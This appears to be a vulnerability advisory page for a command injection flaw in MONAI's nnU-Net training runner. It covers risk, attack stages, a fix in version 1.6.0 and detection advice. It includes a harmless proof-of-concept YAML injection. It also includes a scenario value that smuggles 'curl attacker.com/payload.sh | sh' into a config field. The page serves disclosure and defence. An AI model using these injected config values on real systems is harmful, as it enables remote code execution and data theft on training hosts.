GHSA-rghg-q7wp-9767: MONAI: OS command injection via crafted YAML config

GHSA-rghg-q7wp-9767HIGH
Published August 18, 2026
CISO Take

MONAI, a widely used open-source medical imaging AI framework, concatenates unsanitized values from user-supplied YAML training configs (specifically the "dataset_name_or_id" field) into a subprocess call executed with shell=True, letting shell metacharacters like "&" or ";" inject arbitrary OS commands. This isn't remotely exploitable on its own — a victim has to load and run a crafted config through MONAI's nnU-Net training/validation runner — but with 117 downstream dependents and training configs routinely shared between researchers, collaborators, and public medical imaging challenges, the realistic attack surface is broader than it looks. There's no CVSS score, no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this is not an actively exploited or widely automated threat today — but the impact (arbitrary command execution on whatever host runs the training job, often a GPU workstation or cloud training environment) is severe. Patch to MONAI 1.6.0 immediately, and until then treat any YAML training config from outside your organization as untrusted, executable code rather than inert data.

Sources:GitHub AdvisoryOpenSSFATLAS

What is the risk?

Rated high severity due to unauthenticated arbitrary OS command execution (CWE-78), but real-world exploitability is gated by a User Execution precondition: the victim must load and run a malicious YAML config via nnUNetV2Runner. There is no CVSS vector, EPSS score, CISA KEV listing, public PoC exploit, or Nuclei template — indicating no evidence of active or automated exploitation as of publication. The package's own OpenSSF Scorecard (6.8/10) and computed package risk score (26/100) suggest MONAI is reasonably well-maintained overall, but that doesn't offset the severity of this specific flaw. The greater risk driver is context: training configs in medical imaging research are frequently exchanged across institutions, competitions, and public repos, which increases the odds a crafted config reaches a victim who trusts its source.

How does the attack unfold?

Craft malicious config
Attacker embeds OS shell metacharacters into the dataset_name_or_id field of a YAML nnU-Net training config to build a weaponized file.
AML.T0017
Distribute config
The crafted config is shared as a seemingly legitimate training/dataset config via a public repo, research collaboration channel, or imaging challenge.
AML.T0010.001
Victim execution
A data scientist loads the config into nnUNetV2Runner and launches a training or validation job, invoking the vulnerable code path.
AML.T0011
Command execution / impact
The unsanitized field reaches a shell=True subprocess call, executing the attacker's injected command with the training process's privileges.
AML.T0050

What systems are affected?

PackageEcosystemVulnerable RangePatched
MONAIpip< 1.6.01.6.0
8.8KOpenSSF 7.8128 dependentsPushed 4d ago41% patched~21d to patchFull package profile →

Do you use MONAI? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. Upgrade to MONAI >= 1.6.0, which fixes the unsanitized subprocess call (see Project-MONAI PR #8885 / release 1.6.0). Until upgraded, do not load or execute YAML training configs from untrusted or externally-sourced locations, and treat all config-driven training invocations (dataset_name_or_id, paths, kwargs) as executable input requiring validation — reject values containing shell metacharacters (&, ;, |, `, $, etc.) before use. Where feasible, run training jobs inside sandboxed, least-privilege, ephemeral containers so a successful injection cannot reach broader infrastructure or credentials. For detection, monitor for anomalous child processes spawned from Python ML training jobs (e.g., cmd.exe, powershell.exe, sh, bash launched by a python.exe/nnUNetV2Runner process) and alert on unexpected subprocess activity correlated with training pipeline execution.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2-AI system development lifecycle
NIST AI RMF
MAP 3.4-Third-party AI resources and their risks

Frequently Asked Questions

What is GHSA-rghg-q7wp-9767?

MONAI, a widely used open-source medical imaging AI framework, concatenates unsanitized values from user-supplied YAML training configs (specifically the "dataset_name_or_id" field) into a subprocess call executed with shell=True, letting shell metacharacters like "&" or ";" inject arbitrary OS commands. This isn't remotely exploitable on its own — a victim has to load and run a crafted config through MONAI's nnU-Net training/validation runner — but with 117 downstream dependents and training configs routinely shared between researchers, collaborators, and public medical imaging challenges, the realistic attack surface is broader than it looks. There's no CVSS score, no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this is not an actively exploited or widely automated threat today — but the impact (arbitrary command execution on whatever host runs the training job, often a GPU workstation or cloud training environment) is severe. Patch to MONAI 1.6.0 immediately, and until then treat any YAML training config from outside your organization as untrusted, executable code rather than inert data.

Is GHSA-rghg-q7wp-9767 actively exploited?

No confirmed active exploitation of GHSA-rghg-q7wp-9767 has been reported, but organizations should still patch proactively.

How to fix GHSA-rghg-q7wp-9767?

Upgrade to MONAI >= 1.6.0, which fixes the unsanitized subprocess call (see Project-MONAI PR #8885 / release 1.6.0). Until upgraded, do not load or execute YAML training configs from untrusted or externally-sourced locations, and treat all config-driven training invocations (dataset_name_or_id, paths, kwargs) as executable input requiring validation — reject values containing shell metacharacters (&, ;, |, `, $, etc.) before use. Where feasible, run training jobs inside sandboxed, least-privilege, ephemeral containers so a successful injection cannot reach broader infrastructure or credentials. For detection, monitor for anomalous child processes spawned from Python ML training jobs (e.g., cmd.exe, powershell.exe, sh, bash launched by a python.exe/nnUNetV2Runner process) and alert on unexpected subprocess activity correlated with training pipeline execution.

What systems are affected by GHSA-rghg-q7wp-9767?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, ml_ops pipelines.

What is the CVSS score for GHSA-rghg-q7wp-9767?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

training pipelinesml_ops pipelines

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0011User Execution
AML.T0011.000Unsafe AI Artifacts
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
NIST AI RMF: MAP 3.4

What are the technical details?

Original Advisory

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary MONAI vulnerable to OS command injection. ### Details This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted. As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection). The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints. ### PoC Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands. dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results As a victim, verify running the following Python code to load and process the YAML file. from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip()) Also, see the attached file. [JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)

Exploitation Scenario

An attacker publishes a seemingly legitimate nnU-Net training configuration YAML — for example, packaged alongside a public medical imaging dataset, shared in a research collaboration channel, or posted as a "ready-to-use" config for a segmentation challenge — with a poisoned dataset_name_or_id field containing shell command separators (e.g., '4 & curl attacker.com/payload.sh | sh & rem'). A data scientist or ML engineer downloads the config and, trusting its source, loads it and calls nnUNetV2Runner.train_single_model() to launch a training run. MONAI concatenates the unsanitized field into a subprocess shell command, silently executing the attacker's injected command with the privileges of the training process — enabling backdoor installation, exfiltration of proprietary medical datasets or model weights, or lateral movement within the research or cloud training environment, all while the victim believes they simply started a normal training job.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

Timeline

Published
August 18, 2026
Last Modified
August 18, 2026
First Seen
August 19, 2026

Related Vulnerabilities